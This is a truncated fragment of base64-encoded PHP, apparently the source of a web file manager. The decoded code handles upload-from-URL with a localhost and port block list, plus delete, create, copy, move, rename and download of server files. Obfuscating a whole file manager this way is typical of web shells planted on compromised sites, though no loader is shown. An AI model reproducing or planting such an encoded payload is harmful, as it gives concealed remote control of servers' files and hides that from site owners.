fY2FsbGJhY2sgKCRtZXNzYWdlKSB7CiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJG1lc3NhZ2UpOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZ2V0X2ZpbGVfcGF0aCAoKSB7CiAgICAgICAgICAgIGdsb2JhbCAkcGF0aCwgJGZpbGVpbmZvLCAkdGVtcF9maWxlOwogICAgICAgICAgICByZXR1cm4gJHBhdGguIi8iLmJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7CiAgICAgICAgfQoKICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFsidXBsb2FkdXJsIl0pICYmIHByZWdfbWF0Y2goInxeaHR0cChzKT86Ly8uKyR8Iiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsidXBsb2FkdXJsIl0pKSA/IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbInVwbG9hZHVybCJdKSA6IG51bGw7CgogICAgICAgIC8vcHJldmVudCAxMjcuKiBkb21haW4gYW5kIGtub3duIHBvcnRzCiAgICAgICAgJGRvbWFpbiA9IHBhcnNlX3VybCgkdXJsLCBQSFBfVVJMX0hPU1QpOwogICAgICAgICRwb3J0ID0gcGFyc2VfdXJsKCR1cmwsIFBIUF9VUkxfUE9SVCk7CiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07CgogICAgICAgIGlmIChwcmVnX21hdGNoKCIvXmxvY2FsaG9zdCR8XjEyNyg/OlwuWzAtOV0rKXswLDJ9XC5bMC05XSskfF4oPzowKlw6KSo/Oj8wKjEkL2kiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7CiAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIlVSTCBpcyBub3QgYWxsb3dlZCIpOwogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZmFpbCIgPT4gJGVycikpOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQoKICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTsKICAgICAgICAkdGVtcF9maWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJ1cGxvYWQtIik7CiAgICAgICAgJGZpbGVpbmZvID0gbmV3IHN0ZENsYXNzKCk7CiAgICAgICAgJGZpbGVpbmZvLT5uYW1lID0gdHJpbShiYXNlbmFtZSgkdXJsKSwgIi5ceDAwLi5ceDIwIik7CgogICAgICAgICRhbGxvd2VkID0gKEZNX1VQTE9BRF9FWFRFTlNJT04pID8gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pIDogZmFsc2U7CiAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVpbmZvLT5uYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlOwoKICAgICAgICAkZXJyID0gZmFsc2U7CgogICAgICAgIGlmKCEkaXNGaWxlQWxsb3dlZCkgewogICAgICAgICAgICAkZXJyID0gYXJyYXkoIm1lc3NhZ2UiID0+ICJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCIpOwogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZmFpbCIgPT4gJGVycikpOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoISR1cmwpIHsKICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsKICAgICAgICB9IGVsc2UgaWYgKCR1c2VfY3VybCkgewogICAgICAgICAgICBAJGZwID0gZm9wZW4oJHRlbXBfZmlsZSwgInciKTsKICAgICAgICAgICAgQCRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlICk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgICAgICAgICBAJHN1Y2Nlc3MgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpOwogICAgICAgICAgICBpZiAoISRzdWNjZXNzKSB7CiAgICAgICAgICAgICAgICAkZXJyID0gYXJyYXkoIm1lc3NhZ2UiID0+IGN1cmxfZXJyb3IoJGNoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICRmaWxlaW5mby0+c2l6ZSA9ICRjdXJsX2luZm9bInNpemVfZG93bmxvYWQiXTsKICAgICAgICAgICAgJGZpbGVpbmZvLT50eXBlID0gJGN1cmxfaW5mb1siY29udGVudF90eXBlIl07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpOwogICAgICAgICAgICBAJHN1Y2Nlc3MgPSBjb3B5KCR1cmwsICR0ZW1wX2ZpbGUsICRjdHgpOwogICAgICAgICAgICBpZiAoISRzdWNjZXNzKSB7CiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRzdWNjZXNzKSB7CiAgICAgICAgICAgICRzdWNjZXNzID0gcmVuYW1lKCR0ZW1wX2ZpbGUsIHN0cnRvayhnZXRfZmlsZV9wYXRoKCksICc/JykpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCRzdWNjZXNzKSB7CiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJkb25lIiA9PiAkZmlsZWluZm8pKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1bmxpbmsoJHRlbXBfZmlsZSk7CiAgICAgICAgICAgIGlmICghJGVycikgewogICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiAiSW52YWxpZCB1cmwgcGFyYW1ldGVyIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwiID0+ICRlcnIpKTsKICAgICAgICB9CiAgICB9CiAgICBleGl0KCk7Cn0KCi8vIERlbGV0ZSBmaWxlIC8gZm9sZGVyCmlmIChpc3NldCgkX0dFVFsnZGVsJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkZGVsID0gc3RyX3JlcGxhY2UoICcvJywgJycsIGZtX2NsZWFuX3BhdGgoICRfR0VUWydkZWwnXSApICk7CiAgICBpZiAoJGRlbCAhPSAnJyAmJiAkZGVsICE9ICcuLicgJiYgJGRlbCAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQogICAgICAgICRpc19kaXIgPSBpc19kaXIoJHBhdGggLiAnLycgLiAkZGVsKTsKICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICcvJyAuICRkZWwpKSB7CiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnRGVsZXRlZCcpIDogbG5nKCdGaWxlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0RlbGV0ZWQnKTsKICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCRtc2csIGZtX2VuYygkZGVsKSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnbm90IGRlbGV0ZWQnKSA6IGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdub3QgZGVsZXRlZCcpOwogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJG1zZywgZm1fZW5jKCRkZWwpKSwgJ2Vycm9yJyk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpOwogICAgfQogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBDcmVhdGUgYSBuZXcgZmlsZS9mb2xkZXIKaWYgKGlzc2V0KCRfUE9TVFsnbmV3ZmlsZW5hbWUnXSwgJF9QT1NUWyduZXdmaWxlJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkdHlwZSA9IHVybGRlY29kZSgkX1BPU1RbJ25ld2ZpbGUnXSk7CiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoICcvJywgJycsIGZtX2NsZWFuX3BhdGgoIHN0cmlwX3RhZ3MoICRfUE9TVFsnbmV3ZmlsZW5hbWUnXSApICkgKTsKICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRuZXcgIT0gJycgJiYgJG5ldyAhPSAnLi4nICYmICRuZXcgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgICAgIH0KICAgICAgICBpZiAoJHR5cGUgPT0gImZpbGUiKSB7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGggLiAnLycgLiAkbmV3KSkgewogICAgICAgICAgICAgICAgaWYoZm1faXNfdmFsaWRfZXh0KCRuZXcpKSB7CiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJy8nIC4gJG5ldywgJ3cnKSBvciBkaWUoJ0Nhbm5vdCBvcGVuIGZpbGU6ICAnIC4gJG5ldyk7CiAgICAgICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdDcmVhdGVkJyksIGZtX2VuYygkbmV3KSkpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ2FscmVhZHkgZXhpc3RzJyksIGZtX2VuYygkbmV3KSksICdhbGVydCcpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZtX21rZGlyKCRwYXRoIC4gJy8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICRuZXcsIGZhbHNlKSA9PT0gJHBhdGggLiAnLycgLiAkbmV3KSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnbm90IGNyZWF0ZWQnKSwgZm1fZW5jKCRuZXcpKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZScpLCAnZXJyb3InKTsKICAgIH0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLy8gQ29weSBmb2xkZXIgLyBmaWxlCmlmIChpc3NldCgkX0dFVFsnY29weSddLCAkX0dFVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkgewogICAgLy8gZnJvbQogICAgJGNvcHkgPSB1cmxkZWNvZGUoJF9HRVRbJ2NvcHknXSk7CiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpOwogICAgLy8gZW1wdHkgcGF0aAogICAgaWYgKCRjb3B5ID09ICcnKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KICAgIC8vIGFicyBwYXRoIGZyb20KICAgICRmcm9tID0gRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHk7CiAgICAvLyBhYnMgcGF0aCB0bwogICAgJGRlc3QgPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRkZXN0IC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICAkZGVzdCAuPSAnLycgLiBiYXNlbmFtZSgkZnJvbSk7CiAgICAvLyBtb3ZlPwogICAgJG1vdmUgPSBpc3NldCgkX0dFVFsnbW92ZSddKTsKICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTsKICAgIC8vIGNvcHkvbW92ZS9kdXBsaWNhdGUKICAgIGlmICgkZnJvbSAhPSAkZGVzdCkgewogICAgICAgICRtc2dfZnJvbSA9IHRyaW0oRk1fUEFUSCAuICcvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJy8nKTsKICAgICAgICBpZiAoJG1vdmUpIHsgLy8gTW92ZSBhbmQgdG8gIT0gZnJvbSBzbyBqdXN0IHBlcmZvcm0gbW92ZQogICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7CiAgICAgICAgICAgIGlmICgkcmVuYW1lKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykuJyA8Yj4lczwvYj4gJy5sbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSkpOwogICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzJyksICdhbGVydCcpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKS4nIDxiPiVzPC9iPiAnLmxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgeyAvLyBOb3QgbW92ZSBhbmQgdG8gIT0gZnJvbSBzbyBjb3B5IHdpdGggb3JpZ2luYWwgbmFtZQogICAgICAgICAgICBpZiAoZm1fcmNvcHkoJGZyb20sICRkZXN0KSkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKS4nIDxiPiVzPC9iPiAnLmxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nKS4nIDxiPiVzPC9iPiAnLmxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgaWYgKCEkbW92ZSl7IC8vTm90IG1vdmUgYW5kIHRvID0gZnJvbSBzbyBkdXBsaWNhdGUKICAgICAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJy8nIC4gYmFzZW5hbWUoJGZyb20pLCAnLycpOwogICAgICAgICAgICAkZm5fcGFydHMgPSBwYXRoaW5mbygkZnJvbSk7CiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7CiAgICAgICAgICAgIGlmKCFpc19kaXIoJGZyb20pKXsKICAgICAgICAgICAgICAgJGV4dGVuc2lvbl9zdWZmaXggPSAnLicuJGZuX3BhcnRzWydleHRlbnNpb24nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL0NyZWF0ZSBuZXcgbmFtZSBmb3IgZHVwbGljYXRlCiAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXS4nLycuJGZuX3BhcnRzWydmaWxlbmFtZSddLictJy5kYXRlKCdZbWRIaXMnKS4kZXh0ZW5zaW9uX3N1ZmZpeDsKICAgICAgICAgICAgJGxvb3BfY291bnQgPSAwOwogICAgICAgICAgICAkbWF4X2xvb3AgPSAxMDAwOwogICAgICAgICAgICAvLyBDaGVjayBpZiBhIGZpbGUgd2l0aCB0aGUgZHVwbGljYXRlIG5hbWUgYWxyZWFkeSBleGlzdHMsIGlmIHNvLCBtYWtlIG5ldyBuYW1lIChlZGdlIGNhc2UuLi4pCiAgICAgICAgICAgIHdoaWxlKGZpbGVfZXhpc3RzKCRmbl9kdXBsaWNhdGUpICYgJGxvb3BfY291bnQgPCAkbWF4X2xvb3ApewogICAgICAgICAgICAgICAkZm5fcGFydHMgPSBwYXRoaW5mbygkZm5fZHVwbGljYXRlKTsKICAgICAgICAgICAgICAgJGZuX2R1cGxpY2F0ZSA9ICRmbl9wYXJ0c1snZGlybmFtZSddLicvJy4kZm5fcGFydHNbJ2ZpbGVuYW1lJ10uJy1jb3B5Jy4kZXh0ZW5zaW9uX3N1ZmZpeDsKICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZm1fcmNvcHkoJGZyb20sICRmbl9kdXBsaWNhdGUsIEZhbHNlKSkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0Vycm9yIHdoaWxlIGNvcHlpbmcgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgIH0KICAgICAgIGVsc2V7CiAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJyksICdhbGVydCcpOwogICAgICAgfQogICAgfQogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBNYXNzIGNvcHkgZmlsZXMvIGZvbGRlcnMKaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIFRva2VuLicpLCAnZXJyb3InKTsKICAgIH0KICAgIAogICAgLy8gZnJvbQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICAvLyB0bwogICAgJGNvcHlfdG9fcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7CiAgICBpZiAoJGNvcHlfdG8gIT0gJycpIHsKICAgICAgICAkY29weV90b19wYXRoIC49ICcvJyAuICRjb3B5X3RvOwogICAgfQogICAgaWYgKCRwYXRoID09ICRjb3B5X3RvX3BhdGgpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQogICAgaWYgKCFpc19kaXIoJGNvcHlfdG9fcGF0aCkpIHsKICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coJ1VuYWJsZSB0byBjcmVhdGUgZGVzdGluYXRpb24gZm9sZGVyJywgJ2Vycm9yJyk7CiAgICAgICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgICAgICB9CiAgICB9CiAgICAvLyBtb3ZlPwogICAgJG1vdmUgPSBpc3NldCgkX1BPU1RbJ21vdmUnXSk7CiAgICAvLyBjb3B5L21vdmUKICAgICRlcnJvcnMgPSAwOwogICAgJGZpbGVzID0gJF9QT1NUWydmaWxlJ107CiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7CiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgIGlmICgkZiAhPSAnJykgewogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsKICAgICAgICAgICAgICAgIC8vIGFicyBwYXRoIGZyb20KICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnLycgLiAkZjsKICAgICAgICAgICAgICAgIC8vIGFicyBwYXRoIHRvCiAgICAgICAgICAgICAgICAkZGVzdCA9ICRjb3B5X3RvX3BhdGggLiAnLycgLiAkZjsKICAgICAgICAgICAgICAgIC8vIGRvCiAgICAgICAgICAgICAgICBpZiAoJG1vdmUpIHsKICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyZW5hbWUgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNvcHkoJGZyb20sICRkZXN0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgkZXJyb3JzID09IDApIHsKICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnOwogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2cpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnOwogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2csICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICB9CiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8vIFJlbmFtZQppZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBmbV9zZXRfbXNnKCJJbnZhbGlkIFRva2VuLiIsICdlcnJvcicpOwogICAgfQogICAgLy8gb2xkIG5hbWUKICAgICRvbGQgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfZnJvbSddKTsKICAgICRvbGQgPSBmbV9jbGVhbl9wYXRoKCRvbGQpOwogICAgJG9sZCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRvbGQpOwogICAgLy8gbmV3IG5hbWUKICAgICRuZXcgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfdG8nXSk7CiAgICAkbmV3ID0gZm1fY2xlYW5fcGF0aChzdHJpcF90YWdzKCRuZXcpKTsKICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkbmV3KTsKICAgIC8vIHBhdGgKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQogICAgLy8gcmVuYW1lCiAgICBpZiAoZm1faXN2YWxpZF9maWxlbmFtZSgkbmV3KSAmJiAkb2xkICE9ICcnICYmICRuZXcgIT0gJycpIHsKICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJy8nIC4gJG9sZCwgJHBhdGggLiAnLycgLiAkbmV3KSkgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKS4nIDxiPiVzPC9iPiAnLiBsbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJG9sZCksIGZtX2VuYygkbmV3KSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKS4nIDxiPiVzPC9iPiAnLiBsbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJG9sZCksIGZtX2VuYygkbmV3KSksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG5hbWUnKSwgJ2Vycm9yJyk7CiAgICB9CiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8vIERvd25sb2FkCmlmIChpc3NldCgkX0dFVFsnZGwnXSwgJF9QT1NUWyd0b2tlbiddKSkgewogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBmbV9zZXRfbXNnKCJJ